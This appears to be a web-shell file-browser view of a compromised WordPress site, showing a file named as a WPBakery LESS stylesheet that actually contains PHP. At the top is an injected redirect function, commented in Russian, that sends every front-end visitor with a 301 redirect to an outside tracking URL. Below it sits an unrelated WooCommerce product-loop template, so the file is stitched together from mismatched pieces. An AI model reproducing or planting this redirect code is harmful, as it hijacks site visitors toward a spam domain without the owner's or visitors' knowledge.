AlkantarClanX12
Current Path : /home/thanudqk/www/wp-content/plugins/js_composer/assets/less/ |
Current File : /home/thanudqk/www/wp-content/plugins/js_composer/assets/less/js_composer_backend_editor.less |
function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Product Loop Start * * This template can be overridden by copying it to yourtheme/woocommerce/loop/loop-start.php. * * HOWEVER, on occasion WooCommerce will need to update template files and you (the theme developer). * will need to copy the new files to your theme to maintain compatibility. We try to do this. * as little as possible, but it does happen. When this occurs the version of the template file will. * be bumped and the readme will list any important changes. * * @see http://docs.woothemes.com/document/template-structure/ * @author WooThemes * @package WooCommerce/Templates * @version 3.3.0 */ ?> <?php $col = footio_get_class_item_product(); $category_view_mode = footio_category_view(); ?> <ul class="products products-list row <?php echo esc_attr($category_view_mode); ?>" data-col="<?php echo esc_attr($col); ?>">